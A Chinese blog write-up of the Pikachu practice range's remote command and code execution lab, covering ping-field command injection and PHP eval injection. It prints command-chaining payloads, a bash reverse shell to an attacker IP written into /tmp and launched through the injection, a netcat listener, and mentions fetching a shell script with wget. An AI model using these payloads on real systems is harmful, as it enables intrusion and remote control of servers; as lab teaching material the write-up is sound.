PiKachu靶场之RCE(远程系统命令执行)

概述

RCE(remote command/code execute)漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获" -_-


远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

 

 

 

一、远程系统命令执行之ping命令

该网站给用户提供了一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。如下:

分析

然而开发者没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

加入多注入一个命令:

www.baidu.com; ls .

可以看到,  两个命令都被执行了。

漏洞利用

在我们得知目标系统是Linux的情况下,  我们可以利用以下命令来RCE攻击:

cmd1 && cmd2  // 只有成功执行了cmd1才能执行cmd2

cmd1 & cmd2   // 不管成功与否, 都执行两个命令

漏洞利用---低权限反弹shell

首先分析当前用户是daemon:

查看当前目录下的文件是root的归属组:

所以当前目录没有写入权限,  就不能写木马,  经bash反弹测试,  未成功。

  • /tmp 写入bash反弹shell

/tmp下具有可写可读可执行权限(777),  利用RCE漏洞写一个bash反弹脚本:

1 & echo "bash -i >& /dev/tcp/192.168.10.105/1112 0>&1" > /tmp/hack_shell.sh

192.168.10.105 为攻击者vps 

写入成功后,  在攻击者主机上监听:

nc -lvp 1112

再利用RCE漏洞执行刚刚写入的脚本:

1 & bash /tmp/hack_shell.sh

  • Commix 工具反弹shell

具体参阅:  bWAPP OS Command Injection(Blind) / PHP Code Injection 系统命令执行

 

 

 

二、远程代码执行之eval

web需要输入一个string,  随便输入一个: kobe

然后发现有eval函数注入点:

分析

当我们输入一个php函数:

phpinfo();

web是将用户输入的字符串当做php脚本了解析执行了,  并且没有做严格的过滤处理,  导致了漏洞的产生

漏洞利用

查看数据包可知请求类型为POST,  对应的参数为txt:

那么我们可以利用菜刀连接:

漏洞利用---反弹shell

和上面同样的方法去写反弹shell,  只不过利用了一个system()函数,  或者shell_exec()函数都可以:

另外提供一个思路: 

先将反弹shell的脚本写在攻击者服务器上,  然后再漏洞机上利用wget命令下载shell脚本,  再执行即可。

  • 6
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Pikachu靶场中的RCE指的是远程命令/代码执行漏洞。该漏洞存在于Pikachu靶场的第1关和第2关中。在第1关中,通过对"exec "ping""命令的源码分析可以了解到该漏洞的详细信息。在代码中,将用户输入的IP地址赋值给变量$ip,并直接将其传入shell_exec()函数执行,导致命令可被拼接并执行。 在第2关的"exec "eval""中也存在远程命令/代码执行漏洞。具体源码分析未提供,但可以推测该漏洞的原理类似于第1关中的RCE漏洞。 总之,Pikachu靶场中的RCE漏洞给黑客提供了可以远程执行任意命令或代码的机会,这对Web应用系统的安全性构成了严重威胁。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [Pikachu靶场RCE漏洞详解](https://blog.csdn.net/m0_46467017/article/details/124838779)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [pikachu.rar](https://download.csdn.net/download/weixin_45663905/12742070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值